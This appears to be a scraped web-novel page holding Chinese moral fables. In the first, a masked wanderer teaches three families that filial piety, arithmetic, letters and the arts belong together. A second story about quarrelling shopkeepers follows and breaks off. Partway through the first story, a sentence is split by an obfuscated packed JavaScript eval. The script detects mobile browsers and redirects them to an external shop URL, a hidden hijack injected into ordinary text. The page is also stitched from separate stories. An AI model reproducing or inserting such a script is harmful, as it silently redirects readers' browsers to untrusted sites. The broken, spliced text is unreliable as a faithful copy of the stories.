张家世代开裱画店，当家的张云鹤，是个雅人，能画两笔写意，能弹半曲琵琶。他教子，只教雅艺：“算数俗，诗文腐！吾儿当学琴棋书画，做个风雅之士！”儿子张雅风，十二岁，能画兰草，能弹《梅花三弄》，可让他写个借据，提笔忘字；让他算个工钱，一脸茫然。 这是天启七年的春日，三家孩子都在自家铺子里“用功”。 李算盘在背“一归如一进，见一进成十”，小脸皱成一团。 王文昌在念“大学之道，在明明德”，摇头晃脑。 张雅风在画墨竹，笔尖颤颤巍巍。 三个孩子偶尔在桥头相遇，你看我打算盘，我看你念书，他看他画画，都觉得对方奇怪，又有些羡慕。 一、 算盘李家的“铁算盘” 这日，李金斗正在铺子里教儿子打算盘。铺子临河，窗外就是东桥，桥上人来人往。李金斗把算盘拨得山响：“看好了！三下五除二，四下五去一——这生意经，都在算珠里！” 李算盘苦着小脸，手指头笨拙地拨着。 这时，铺子里进来一人。来人戴着一顶竹篾斗笠，斗笠边已经破损，用麻线粗糙地缝了几针。身上是件半旧的靛蓝短褂，洗得发白，袖口高高挽起，露出精瘦的小臂。腰上用草绳系着，绳上挂一柄木剑，剑身满是摩挲的痕迹。脸上蒙着一方粗葛布，布是灰扑扑的，沾着些路上的尘土。 “掌柜的，讨碗水。”声音有些沙哑，像是长途跋涉而来。 李金斗抬眼一瞥，见是个行脚的，不耐地摆摆手：“水缸在墙角，自己舀。” 那人也不恼，走到水缸边，用葫芦瓢舀了半瓢水，慢慢喝了。喝罢，也不走，站在那儿看李算盘打算盘。 “小兄弟，今年几岁？” 李算盘抬头：“十岁。” “十岁，打得一手好算盘。”那人点点头，“将来是要接你爹的班，做个账房先生？” 李金斗插嘴：“那是自然！学好算数，走遍天下都不怕！” 那人问：“只学算数么？” “不然学什么？”李金斗拨着算盘，“诗文能当饭吃？雅艺能当衣穿？我李家世代账房，就靠这手算盘吃饭！” 那人沉默片刻，走到柜台前，从怀里掏出三枚铜钱，一字排开。 “掌柜的，我出个题。这三文钱，若每日生出三文，十日后，共有多少？” 李金斗嗤笑：“这有何难？三文，每日翻一番，十日便是……”他手指飞快拨动算珠，“三零七二文！” “错了。”那人说。 “错了？”李金斗瞪眼，“怎会错！三文，第一日六文，第二日十二文，第三日二十四文……第十日，正是三零七二文！” 那人摇头：“钱不会生钱，除非是放贷。放贷取利，是为不仁。我且问你，这三文钱，若第一日你给路边的乞丐，第二日乞丐用它买了馒头，馒头铺的掌柜用它买了布，布铺的掌柜用它买了米——十日流转，这三文钱，救了几个人？” 李金斗愣住了。 “算数算的是数，算不出人心。”那人看着李算盘，“小兄弟，你会算三下五除二，可会算‘父母在，不远游’是几个字？可会算‘己所不欲，勿施于人’是几笔几画？” 李算盘茫然摇头。 那人叹气：“首孝悌，次见闻。知某数，识某文。意思是，做人先要懂得孝顺父母、友爱兄弟，其次才是增长见闻。既要懂得算数，也要识得文字。” 李金斗脸色变了变，嘴硬道：“孝顺父母，我自会教他！可诗文有何用？能帮他算账？” “算账只要算盘，做人却要良心。”那人声音平平，“你教他算数，可教过他算算你每日操劳几时？教过他算算你鬓边白发几根？教过他算算你养育他十年，耗费多少心血？” 李金斗张了张嘴，说不出话。 那人从怀里掏出一本薄薄的、手抄的册子，封面上写着《孝经算》。递给李算盘。 “这个给你。里边有用算数解孝道的题，比如：爹娘每日为你操劳三个时辰，一年多少时辰？十年多少时辰？你该如何报答？” 李算盘接过，翻开一看，里边果然是一道道奇怪的算题——“娘亲生你时，痛了六个时辰，相当于你玩耍几日？”“爹爹教你打算盘，费了三百个日夜，相当于你睡了多少觉？” 他看得呆了。 “算数，可以算利，也可以算恩。”那人拍拍他的肩，“先把恩算明白了，再算利不迟。” 说罢，他拿起斗笠，走出铺子。走到门口，又回头：“掌柜的，你的算盘打得响，可莫要算尽了钱财，算丢了人心。” 李金斗呆呆站着，算盘珠子在指尖发凉。 那天，李金斗没再逼儿子打算盘。他坐在柜台后，看着儿子一页页翻那本《孝经算》，手指在纸上划拉着，嘴里念念有词。 “爹，”李算盘忽然抬头，“您教我打算盘，用了三百零七天。我……我该用多少天孝顺您？” 李金斗鼻子一酸。 二、 书篓王家的“老学究” 西桥头，王家书铺。王墨林正在教儿子念《论语》。铺子里堆满了书，线装的、卷轴的、手抄的，空气里都是墨香和旧纸的味道。 “子曰：学而时习之，不亦说乎？”王墨林摇头晃脑。 “子曰：学而时习之，不亦说乎？”王文昌跟着念，小脸皱巴巴的。 “错！是‘悦’，非‘说’！”王墨林用戒尺轻敲桌面，“读书要字字分明！将来科举，错一字，满盘皆输！” 王文昌缩缩脖子。 这时，门帘一挑，进来那人。还是竹篾斗笠，靛蓝短褂，腰间木剑。脸上蒙着葛布，布上沾着些水汽，像是刚从河边过来。 “掌柜的，避避雨。”他说。外头不知何时飘起了细雨。 王墨林抬眼，见是个江湖人打扮，皱了皱眉：“书铺清净地，壮士请自便，莫要喧哗。” 那人点头，走到书架旁，随意抽出一本，却是《九章算术》。翻了翻，道：“掌柜的，这本卖么？” “卖。”王墨林道，“不过壮士，此书乃算学之经，艰深晦涩，恐怕……” “恐怕我不识数？”那人笑了，笑声透过葛布，闷闷的。 王墨林不答，眼神里分明是这个意思。 那人也不恼，将书放回，走到王文昌面前：“小兄弟，在读《论语》？” 王文昌点头。 “可会背‘父母之年，不可不知也’？” “会！”王文昌挺起胸，“父母之年，不可不知也。一则以喜，一则以惧。” “背得好。”那人点头，“那我来问你，你爹今年贵庚？你娘今年贵庚？” 王文昌一愣，转头看爹。 王墨林脸色一沉：“这与读书何干？” “怎的无关？”那人看着他，“首孝悌，次见闻。知某数，识某文。令郎能背圣贤书，却不知父母年岁，这是知文不知数，知书不知孝。” 王墨林噎住。 那人又问王文昌：“小兄弟，你爹每日教书，站几个时辰？你娘每日操持家务，走多少步？你爹鬓角有几根白发？你娘眼尾有几道皱纹？” 王文昌张着嘴，答不上来。 “你看，”那人叹道，“圣贤书里教孝悌，可孝悌不在书里，在生活里。你爹站着教你，你不知他腿酸；你娘走着劳碌，你不知她脚疼。这书，读来何用？” 王墨林脸上红一阵白一阵。 “掌柜的，”那人转向他，“你教他‘学而时习之’，可教他习什么？习如何孝顺父母？习如何体恤亲长？还是只习如何金榜题名，光宗耀祖？” 王墨林额上冒出细汗。 “读书是为了明理，明理是为了做人。”那人声音不高，却字字清晰，“若读书读得不知父母年岁，不知米价几文，不知柴火几担，这书，不如不读。” 他从怀里掏出一本手抄的《数文录》，递给王文昌。 “这个给你。里边有算父母辛劳的题，也有解圣贤言的文。比如：爹娘生养你，费了多少心血？你读书识字，又当如何回报？” 王文昌接过，翻开一看，第一页就写着：“母怀胎十月，共计几日几时？父教书十年，共计几时几刻？” 他看得呆了。 “知某数，识某文。数不离文，文不离数。”那人拍拍他的肩，“先把父母的恩情算明白了，再把圣贤的道理读明白了，这才是真学问。” 说完，他戴上斗笠，走入细雨中。走到门口，回头：“掌柜的，书是给人读的，不是给人供的。读进心里，才是自己的。” 王墨林呆呆站着，手里戒尺“啪嗒”掉在地上。 那天，王文昌没再死背书。他拿着那本《数文录》，一页页看，一页页算。算到“娘亲生我，痛了十二个时辰，相当于我玩耍多少时辰”时，眼泪吧嗒掉在纸上。 三、 笔架张家的“雅居士” 张家裱画店在镇子中央，临河而建，推窗可见小桥流水。张云鹤正在教儿子画兰草。画案上铺着宣纸，墨已磨好，笔已润湿。 “画兰如做人，要清，要雅，要不染尘埃。”张云鹤提着笔，手腕轻转，一丛兰草跃然纸上。 张雅风学爹的样子，可笔尖一抖，兰草成了杂草。 “哎，心要静，手要稳。”张云鹤摇头，“你这孩子，心思浮躁，如何能成雅士？” 张雅风低着头，不敢说话。 这时，店外有人敲门。张云鹤开门，见是那人。斗笠滴着水，短褂下摆沾了泥，木剑斜挎腰间，葛布蒙面，只露出一双眼睛，清澈得很。 “店家，借个地方烘烘衣裳。”声音温和。 张云鹤是雅人，见这人虽衣衫简朴，气度却不凡，便让进来：“壮士请进，后头有炭盆。” 那人道了谢，走到后间，却不烘衣，站在画案旁看张雅风画兰草。 “小兄弟，画兰呢？” 张雅风点头，有些怯。 “兰是君子，可君子也要吃饭。”那人忽然说。 张云鹤皱眉：“壮士此言何意？” “没什么。”那人笑笑，“只是看小兄弟画兰，想起一事。兰草清雅，可种兰的土要钱，养兰的盆要钱，画兰的纸笔也要钱。这些钱，从何而来？” 张云鹤脸色一沉：“壮士是来论画的，还是来论钱的？” “论画，也论钱。”那人指着画上的兰草，“这兰草画得虽好，可小兄弟可知，这一张宣纸，要你爹裱几幅画才能换来？这一锭墨，要你爹弹几曲琵琶才能赚来？这一支笔，要你爹劳碌几日才能买来？” 张雅风愣住了，看向爹。 张云鹤脸上挂不住：“我教儿子风雅，何须计较这些俗物？” “不计较？”那人摇头，“掌柜的，你教他风雅，可教过他如何谋生？如何持家？如何孝顺父母？莫非将来，他靠风雅吃饭，你靠风雅养老？” 张云鹤语塞。 “首孝悌，次见闻。知某数，识某文。”那人缓缓道，“风雅是文，数是生计。你教他文，不教他数，是让他做无根之兰，无水之萍。将来你老了，他连你的药钱都算不清，连你的米粮都买不回，这风雅，有何用？” 张雅风手中的笔，“啪”地掉在纸上，染了一团墨。 “我……我会弹琴，会画画……”他小声说。 “会弹琴，可能弹出米来？会画画，可能画出药来？”那人看着他，眼神温和，“小兄弟，你爹教你风雅，是盼你成雅士。可雅士也要吃饭，也要养家，也要孝顺爹娘。你连爹娘每日辛苦几时都不知，连家中用度几何都不晓，这雅，是假雅。” 张云鹤颓然坐下。 那人从怀里掏出一卷手卷，展开，是一幅《孝悌耕读图》。画中有老农耕田，有稚子读书，有慈母纺织，有孝子奉茶。画旁有小字，写着“一日父母劳，十年养育恩。算得清米盐，读得明圣贤”。 “这个给你。”他递给张雅风，“画要画，可要画生活。琴要弹，可要弹心声。先把父母的恩情画明白了，再把人生的账目算明白了，这才是真风雅。” 张雅风接过手卷，看得痴了。画中人物，栩栩如生；题字小楷，端正清秀。更重要的是，那画里有烟火气，有生活味，不是孤零零的兰草竹石。 “掌柜的，”那人转向张云鹤，“风雅在心，不在形。心中有父母，笔下有温情，这才是真雅士。” 说罢，他戴上斗笠，推门而出。雨已停了，天边露出一抹青。 张云鹤坐在画案前，看着儿子捧着那手卷，看得入神。他忽然想起，自己年轻时，也曾想做个真雅士。可这些年来，教儿子风雅，却忘了教他生活。雅是雅了，可雅得冷清，雅得不食人间烟火。 “雅风，”他唤儿子，“明日，爹教你算账。” 张雅风抬头，眼里有光：“真的？” “真的。”张云鹤点头，“先学算你娘每日做几顿饭，爹每日裱几幅画。算明白了，再画兰草。” 四、 芙蓉镇的初夏 五月端午，芙蓉镇赛龙舟。三家的孩子都去了河边。 李算盘手里拿着个小算盘，一边看龙舟，一边算：“一条龙舟二十人，十条就是二百人，每人每天吃三顿饭，十天就是六千顿饭……” 王文昌捧着本书，一边看一边念：“屈原投江，是忧国忧民。忧国忧民者，当知民之疾苦。民之疾苦，在衣食住行……” 张雅风拿着炭笔和小本，在画龙舟。画着画着，在旁边写上：“龙舟长三丈，可载二十人。划舟者，皆镇上壮丁，一日工钱五十文……” 三个孩子凑到一起，你看看我的算盘，我看看你的书，他看看他的画。 “你在算什么？”王文昌问李算盘。 “算龙舟要花多少钱。”李算盘认真道，“我爹说，算明白了，才知道办一件事多不容易。” “你在念什么？”张雅风问王文昌。 “念屈原的故事。”王文昌说，“我爹说，念明白了，才知道什么是气节。” “你在画什么？”李算盘问张雅风。 “画龙舟，也算龙舟。”张雅风说，“我爹说，画要画生活，算要算生计。” 三人互相看看，都笑了。 正笑着，那人来了。还是竹篾斗笠，靛蓝短褂，腰间木剑。只是今日没蒙葛布，脸上戴了个竹编的面具，只露出眼睛和嘴。手里提着一串粽子，热气腾腾的。 “小兄弟，吃粽子。”他递过来。 三人接过，道了谢。剥开粽子，是红枣馅的，甜糯可口。 “先生，您从哪里来？”李算盘大胆问。 “从来处来。” “要到哪里去？”王文昌问。 “到去处去。” “您是做什么的？”张雅风问。 “我是个走路的人。”那人笑了，“走路，看路，也看路上的人。” 三人似懂非懂。 那人看着河里的龙舟，忽然问：“你们说，这龙舟赛，是为了什么？” “为了纪念屈原！”王文昌抢答。 “为了热闹！”李算盘说。 “为了……为了让大家高兴。”张雅风说。 “都对，也都不对。”那人说，“龙舟赛，赛的是力，也是心。二十人一条心，才能划得快。一镇人一条心，才能办得成。” 他看着三个孩子：“你们三人，一个学算数，一个学诗文，一个学风雅。可知道，这三样，本是一体？” 三人摇头。 “算数，是算生计，也是算人心。诗文，是明道理，也是明人情。风雅，是修心性，也是修德行。”他慢慢道，“首孝悌，次见闻。知某数，识某文。数在文里，文在数中。心中有孝悌，手中有数文，这才是完整的人。” 他拿出三个小小的、用竹片削成的书签，一人给了一个。书签上刻着两行小字：“知数明理，识文通情”。 “这个，给你们。夹在书里，记在心里。等你们长大了，教你们的孩子，既要学算数，也要学诗文，还要学风雅。三样都学，三样都通，才是真好。” 三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133840|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人郑重接过。 “先生，”李算盘问，“您还会来么？” “等你们的孩子，也像你们现在这样，在一起算数、念书、画画的时候，我再来。”那人说。 他走了，沿着河岸，慢慢地走。龙舟的鼓声咚咚响，他的背影在人群里，渐渐看不见了。 三人捧着粽子，捧着书签，站在河边。河风吹来，带着水汽，带着粽叶香。 五、 十年后的书签 天启十七年，端午。芙蓉镇还是那个芙蓉镇，河水还是那条河水，只是三家的孩子，都长大了。 李算盘接了爹的班，成了账房先生。可他不仅会算账，还会写诗。他给铺子写的对联，镇上人人称道。他儿子李小算，八岁，既学算盘，也背诗文。 王文昌没中举，但在镇上开了个学堂，教孩子们读书。可他不仅教诗文，还教算数。他说：“不会算数的书生，是呆子。”他女儿王书文，九岁，既念《论语》，也学算账。 张雅风成了画师，专画市井百态。可他不仅会画画，还会算账，铺子的账目清清楚楚。他儿子张墨竹，十岁，既学画画，也学算盘。 今年端午，三家又聚在河边看龙舟。三个孩子——李小算、王书文、张墨竹，凑在一起。一个在算龙舟的造价，一个在念屈原的《离骚》，一个在画龙舟竞渡图。 李算盘看着，对王文昌、张雅风笑道：“像不像咱们小时候？” 三人相视而笑。 这时，河对岸走来一人。还是竹篾斗笠，靛蓝短褂，腰间木剑。只是斗笠更破，短褂更旧，木剑的剑穗也褪了色。脸上依然戴着竹面具，看不清容颜。 三人看见，忙迎上去：“先生！” 那人点头，声音依旧温和：“长大了。” “先生，吃粽子！”李小算机灵，递上一个粽子。 “先生，看龙舟！”王书文指着河里。 “先生，看我画的画！”张墨竹举起画板。 那人一一接过，看画，看龙舟，吃粽子。吃完了，说：“甜。” 李算盘从怀里掏出那枚竹书签，已经摩挲得温润光滑：“先生，您看，我一直留着。” 王文昌、张雅风也掏出书签，三枚书签，在阳光下泛着温润的光。 “留得好。”那人点头，“知数明理，识文通情。你们做到了。” “先生，”王文昌问，“您这十年，去了哪里？” “走了些地方，见了些人。”那人说，“有只会算数不懂人情的账房，有只会念书不知米价的秀才，有只会风雅不事生产的雅士。看得多了，就想，若是他们小时候，既学算数，也学诗文，也学风雅，会不会就圆满了？” 三人沉默。 “首孝悌，次见闻。知某数，识某文。”那人缓缓念，“孝悌是根，见闻是叶，数文是果。根深，叶茂，果才实。” 他看向三个孩子——李小算、王书文、张墨竹，一个在打算盘，一个在念书，一个在画画，却不时交流几句，互相请教。 “他们比你们强。”那人笑了，“算盘里有诗文，诗文里有画意，画意里有生计。这才对。” 三人点头，深以为然。 那人从怀里掏出三枚新的竹书签，刻着“孝悌为本，数文并进”，送给三个孩子。 “这个，给你们的孩子。等他们长大了，教他们既要学算数，也要学诗文，也要学风雅。等他们做到了，我再来收。” 三个孩子恭恭敬敬接过。 “先生，”张墨竹大着胆子问，“您是谁啊？” 那人摸摸他的头：“我是个喜欢看孩子既打算盘，又念书，又画画的人。” “那……您还会来看我们么？” “会。”那人站起身，“等你们的孩子的孩子，也这样坐在河边，既算数，又念书，又画画的时候，我还会来。” 他走了，沿着河岸，慢慢地走。龙舟的鼓声越来越急，他的背影在鼓声里，渐渐远了。 三人送他到桥头，看着他消失在人群里。李算盘忽然说：“你们说，先生教了多少人？” 王文昌说：“不知道。但我知道，他教的人，都懂了‘首孝悌，次见闻’。” 张雅风说：“我也懂了。风雅不是孤芳自赏，是心中有父母，手中有生计，笔下有温情。” 他们回到河边，孩子们还在那里。李小算在教王书文打算盘，王书文在教张墨竹背诗，张墨竹在教李小算画画。阳光照在他们身上，暖洋洋的。 尾声数文谣 很多年后，芙蓉镇改名叫“数文镇”。镇口的石碑上，刻着十二个字： 首孝悌，次见闻。知某数，识某文。 常有外乡人问：“这字谁刻的？” 镇里的老人会说：“是三家明白人刻的。他们啊，从前一个只会算数，一个只会念书，一个只会画画，后来都明白了。” “明白什么？” “明白做人要孝顺父母、友爱兄弟，这是根本。然后要学本事，既要懂算数，也要识文字，这才是完整的人。” 端午时，镇上的孩子都会唱一首童谣： 芙蓉镇，三家人， 教子各走一边门。 李家只教铁算盘， 王家只教圣贤书。 张家只教风雅事， 三家教子皆偏颇。 白衣先生来点化， 首孝悌，次见闻。 知某数，识某文， 三家教子方周全。 有个游方的说书先生路过，听了这童谣，去问账房李先生——当年的李算盘，如今也蓄了须。 “先生，这童谣里的白衣人，可是位世外高人？” 李算盘正在教孙子打算盘，闻言停下手，望着窗外的河水。 “是位教人打算盘也要念书，念书也要画画的人。”他说。 “这……这是什么意思？” “意思是，做人不能只学一样。”李算盘说，“就像这河水，有深有浅，有急有缓，才是活的。人也是，有数有文，有雅有俗，才是全的。” 说书先生似懂非懂。临走时，李算盘送了他一本手抄的《数文录》，说：“说书的，也要识数，才知道一段书说多长，收多少赏钱。” 说书先生道了谢，揣着书走了。河上龙舟竞渡，鼓声震天。他回头，看见李算盘站在河边，看着孙子和王家、张家的孩子在一起，一个打算盘，一个念书，一个画画。阳光洒在他们身上，像一幅和谐的画。 也许那位先生，正在某个地方，看人们既打算盘，又念书，又画画吧。说书先生想。 他打开《数文录》，第一页写着：“父母恩，重如山。算不清，量不完。既知数，又识文，孝悌在心头，数文在手中。” 本章诫世 一、 数文二训 - 首孝悌，次见闻 - 知某数，识某文 - 破解法：为人父母，自问“可教子以孝悌？可教子以全才？”；为人师长，自问“可教生徒以根本？可教生徒以周全？” 二、 三家三偏 - 李家偏在“唯数”——只重算数，不修人文 - 王家偏在“唯文”——只重诗文，不晓世务 - 张家偏在“唯雅”——只重风雅，不识生计 - 惕世：多少人家教子偏科？多少学子只通一窍？多少人雅得虚浮、文得迂腐、数得冷漠？皆不全也 三、 全才大道 - 深层隐喻：人如树木，孝悌是根，见闻是叶，数文是果。根不深，则叶不茂；叶不茂，则果不实 - 终极指向：育才成人，在全面周备。有孝悌之心，有见闻之广，有数理之明，有文采之华，方为全人 数文偈： 芙蓉镇里三家人，教子各偏一门庭。 李家唯数不重文，王家唯文不晓数。 张家唯雅不识务，三子皆成片面人。 白衣现身来点化，首孝悌兮次见闻。 知某数兮识某文，三子方成周全人。 后世叹： 首孝悌，次见闻，知某数，识某文。 李家重数不重文，王家重文不晓数。 张家重雅不识务，三家教子各偏颇。 白衣点破全才道，十年育子方周全。 正是： 江南水乡三家人，教子偏科各执迷。 李唯数兮王唯文，张唯雅兮皆不全。 白衣点化全才道，数文并重孝悌先。 首孝悌兮次见闻，知某数兮识某文。 91.万亿谳 楔子·三铺争利 京城外有处通州码头，乃南北漕运要津。每日里千帆竞过，万担装卸，端的是一等一热闹去处。码头旁有条长街，唤作“流水街”，街上有三家铺子鼎足而立：东头是“陈记米铺”，西头是“刘记布庄”，中间是“赵家客栈”。 陈家掌柜陈满仓，四十有五，卖米三代。他有一句口头禅：“粒米成箩，滴水成河。”铺子里从早到晚响着算盘声，进一斗米要算，出一升米也要算。儿子陈小米，十三岁，在柜台后学打算盘，手指头磨出茧子。 刘家掌柜刘尺布，四十有三，卖布三代。他有一句座右铭：“寸布成匹，分毫成丈。”铺子里挂满各色布匹，每匹布都量了又量，算了又算。女儿刘寸锦，十四岁，在柜台前学量布，眼力比尺还准。 赵家掌柜赵满堂，四十有八，开客栈三代。他有一句生意经：“人来人往，皆为利忙。”客栈里南来北往的客商，他都要算计一番，住店几钱，饭食几钱，马料几钱。儿子赵百客，十五岁，在柜台后学记账，账本堆成山。 这三家，是流水街上最会“算计”的人家。可算来算去，三家却算成了仇人。 陈满仓说刘家布庄的幌子挡了他家铺子的光，刘尺布说赵家客栈的泔水泼到了他家门前，赵满堂说陈家的米车压坏了他家门前的石板。今日你少我一文，明日我欠你一钱，三年下来，账算不清，怨结成了疙瘩。 这是天顺五年的秋天，码头上漕船如云，三家铺子的算盘声噼啪作响，可三家的掌柜，在街上碰面，连头都不点。 一、 陈记米铺的“算盘珠” 这日，陈满仓正在铺子里教儿子打算盘。铺子临街，门脸不大，可堆的米袋高耸如山。陈满仓手里一把紫檀算盘，珠子油亮，拨得飞快。 “看好了！一斗米，进价一百二十文，卖价一百五十文，一斗赚三十文。十斗赚三百文，百斗赚三贯，千斗赚三十贯！”陈满仓眼睛发亮，“小米，记住了，生意就是积少成多，一而十，十而百，百而千，千而万！” 陈小米苦着脸，手指笨拙地拨着算珠。 这时，铺子里进来一人。来人戴着一顶苇编斗笠，斗笠边缘已磨出毛边，用麻线缝了几针。身上是件半旧的白粗布短褂，洗得发白，袖口用布条束着。腰间用草绳系一柄木剑，剑身光滑，像是常被人摩挲。脸上蒙着一方粗麻布，布是灰扑扑的，沾着些尘土。 “掌柜的，买米。”声音平平的，听不出年纪。 陈满仓抬眼一瞥，见是个行脚的，便懒懒道：“要多少？” “一合。”那人说。 “一合？”陈满仓皱眉，“一合米，够谁吃？” “够一人，吃一顿。”那人从怀里掏出一文钱，放在柜台上。 陈满仓嗤笑：“一合米，不值得开斗。去去去，别耽误我做生意。” 那人却不走，看着陈小米打算盘，忽然道：“小兄弟，一合米，是多少粒？” 陈小米一愣，抬头看爹。 陈满仓不耐烦：“谁有闲工夫数那个！” “我数过。”那人说，“一合米，大约一千八百粒。一升米，一万八千粒。一斗米，十八万粒。一石米，一百八十万粒。” 陈满仓愣住了。 “掌柜的，你卖米多年，可曾数过一合米有多少粒？”那人问。 “……没数过。”陈满仓嘟囔。 “你没数过，可种米的人数过。”那人缓缓道，“春天撒种，一粒种子下地。夏天除草，一滴汗水落地。秋天收割，一株稻穗低头。冬天碾米，一粒米脱壳。这一合米，是一千八百个春天，一千八百个夏天，一千八百个秋天，一千八百个冬天。” 陈满仓张了张嘴，说不出话。 “一而十，十而百。百而千，千而万。”那人念出这十二个字，“你知道这是什么意思？” “自然是积少成多！”陈满仓道。 “错了。”那人摇头，“这是说，万物皆从一来。一粒米，是根本。十粒米，是一捧。百粒米，是一碗。千粒米，是一升。万粒米，是一斗。可若没有那一粒米，哪来的十、百、千、万？” 他走到米袋前，伸手抓了一把米，米粒从指缝间簌簌落下。 “你只算一斗赚三十文，可算过这一斗米，要农人多少汗水？要老天多少风雨？要碾子多少转动？要车船多少颠簸？” 陈满仓脸上红一阵白一阵。 “你教儿子‘一而十，十而百’，是教他算计。可算计的是什么？是利。你忘了，这一粒米里，有天地恩，有农人苦，有舟车劳，有万人力。”那人声音不高，却字字沉重，“你只算自己赚多少，可算过这米养活了多少人？可算过这米救了多少命？可算过这米，本是养人之物，不是谋利之器？” 陈小米手里的算盘，“啪”地掉在地上。 “小兄弟，”那人转向陈小米，“你爹教你算利，我教你算恩。一合米，养活一人一顿。一升米，养活一人一日。一斗米，养活一家三日。一石米，养活一村十日。这恩，你算得清么？” 陈小米愣愣地摇头。 那人从怀里掏出一本薄册子，封面上写着《米粟恩》。递给陈小米。 “这个给你。里边有算米之恩的题，比如：一粒米，从种子到饭碗，要经过多少人之手？一斗米，能救几条人命？一石米，能活多少百姓？” 陈小米接过，翻开一看，第一页就画着一粒米，米上写着：“天地生我，农人育我，舟车载我，掌柜卖我，妇人煮我，孩童食我。我是一粒米，养人一口命。” 他看得痴了。 “掌柜的，”那人转向陈满仓，“你的算盘打得精，可莫要算尽了毫厘，算丢了良心。一而十，十而百，百而千，千而万——这‘一’，是根本。根本是什么？是天地良心，是养人之德。” 说罢，他弯腰捡起那文钱，放在米袋上：“这一文钱，我买你一合米。你若不卖，我自己数。” 陈满仓呆立良久，忽然抓起升子，舀了满满一合米，倒在粗纸里包好，双手递给那人：“先生……这米，送您。” 那人接过，点点头，走出铺子。走到门口，回头：“掌柜的，明日此时，我再来。你若有心，数一合米有多少粒。数明白了，我再与你说话。” 陈满仓看着那人的背影消失在街角，又看看儿子手里的册子，忽然蹲下身，抓了一把米，一粒一粒数起来。 “一、二、三、四……” 二、 刘记布庄的“寸光眼” 刘尺布这日正在铺子里教女儿量布。铺子里挂满各色布匹，青的、蓝的、花的，在秋阳下泛着柔和的光。刘尺布手里一把黄杨木尺，尺上刻着分、寸、尺，磨得发亮。 “寸锦，看好了！一尺布，十寸。一寸布，十分。分毫不能差！”刘尺布量着一匹蓝布，“客人要一丈，你量九尺九寸九分，人家回头骂你缺德。量一丈零一分，咱家吃亏。就得一丈，不多不少！” 刘寸锦点头，手里软尺拉得笔直。 这时，门帘一挑，进来那人。还是苇编斗笠，白粗布短褂，腰间木剑。脸上蒙着麻布，布上沾着些水汽，像是从河边来。 “掌柜的，扯布。”声音温和。 刘尺布抬眼，见是昨日在陈家米铺见过的那人，心里一动，面上不露：“客官要什么布？扯多少？” “粗麻布，三尺三寸三分。”那人说。 刘尺布皱眉：“三尺三寸三分？这尺寸蹊跷。” “不蹊跷。”那人说，“做一件短褂，衣长二尺，袖长一尺，领口三分，下摆三分，接缝三分，正好三尺三寸三分。” 刘尺布愣了愣，这算法，比他这卖布三十年的还精细。 “客官是裁缝？” “不是。”那人说，“只是常走路，常补衣，知道尺寸要紧。” 刘尺布不再多问，量布，裁剪，手脚利落。剪好了，用草纸包了，递过去。 那人接过，却不走，看着刘寸锦量布，忽然道：“姑娘，一尺布，是多少根线？” 刘寸锦一愣，看向爹。 刘尺布笑了：“客官说笑了，一尺布，少说万根线，谁数得清？” “我数过。”那人说，“一尺粗布，横纬三千六百根，竖经四千八百根。一匹布，长四丈，便是横纬十四万四千根，竖经十九万两千根。” 刘尺布张大了嘴。 “掌柜的，你卖布多年，可曾数过一根线要多长？”那人问。 “……没数过。” “你没数过，可织布的人数过。”那人缓缓道，“春天种棉，一粒棉籽下地。夏天捉虫，一滴汗水落地。秋天摘棉，一朵棉花入手。冬天纺线，一根线出车。春天织布，一根线成匹。这一尺布，是三千六百个春天，三千六百个夏天，三千六百个秋天，三千六百个冬天。” 刘尺布手里的尺子，“当啷”掉在柜台上。 “一而十，十而百。百而千，千而万。”那人念道，“你知道这是什么意思？” “自然是积线成布！”刘尺布道。 “错了。”那人摇头，“这是说，万物皆从一根线来。一根线，是根本。十根线，是一缕。百根线，是一绺。千根线，是一束。万根线，是一尺。可若没有那一根线，哪来的十、百、千、万？” 他走到布匹前，伸手抚摸一匹青布，布面光滑，纹理细腻。 “你只算一尺卖几文，一匹赚几钱，可算过这一尺布，要农人多少辛劳？要织女多少日夜？要染工多少汗水？要车马多少奔波？” 刘尺布脸上火辣辣的。 “你教女儿‘分毫不能差’，是教她算计。可算计的是什么？是利。你忘了，这一根线里，有天地恩，有农人苦，有织女累，有染工勤。”那人声音平稳，却字字敲心，“你只算自己赚多少，可算过这布暖了多少人？可算过这布遮了多少羞？可算过这布，本是暖人之物，不是谋利之器？” 刘寸锦手里的软尺，松了。 “姑娘，”那人转向刘寸锦，“你爹教你量利，我教你量恩。一尺布，可做婴孩一件衣，暖他一个冬。一丈布，可做老人一身袍，遮他一身寒。一匹布，可做一家人四季衣裳，护他们冷暖。这恩，你量得清么？” 刘寸锦愣愣地摇头。 那人从怀里掏出一本薄册子，封面上写着《布帛恩》。递给刘寸锦。 “这个给你。里边有量布之恩的题，比如：一根线，从棉花到布匹，要经过多少人之手？一尺布，能暖几人身？一匹布，能活几家人？” 刘寸锦接过，翻开一看，第一页就画着一根线，线上写着：“天地生我，农人种我，织女纺我，染工染我，掌柜量我，妇人缝我，孩童穿我。我是一根线，暖人一身衣。” 她看得痴了。 “掌柜的，”那人转向刘尺布，“你的尺子量得准，可莫要量尽了分毫，量丢了良心。一而十，十而百，百而千，千而万——这‘一’，是根本。根本是什么？是天地良心，是暖人之德。” 说罢，他从怀里掏出钱，放在柜台上：“这是布钱。三尺三寸三分，分毫不少。” 刘尺布看着那钱，忽然抓起，塞回那人手里：“先生……这布，送您。” 那人笑了：“为何？” “您让我明白了，布不是用来量的，是用来暖人的。”刘尺布声音有些哑。 那人接过布，点点头，走出铺子。走到门口，回头：“掌柜的，明日此时，我再来。你若有心，数一尺布有多少根线。数明白了，我再与你说话。” 刘尺布看着那人的背影，又看看女儿手里的册子，忽然扯下一尺布，在灯下一根一根数起来。 “一、二、三、四……” 三、 赵家客栈的“算盘账” 赵满堂这日正在客栈柜台后算账。客栈两层楼，二十间房，日日客满。赵满堂手里一把铁算盘，珠子黑沉，拨起来声音清脆。账本堆了半人高，他一手翻账本，一手拨算盘，嘴里念念有词。 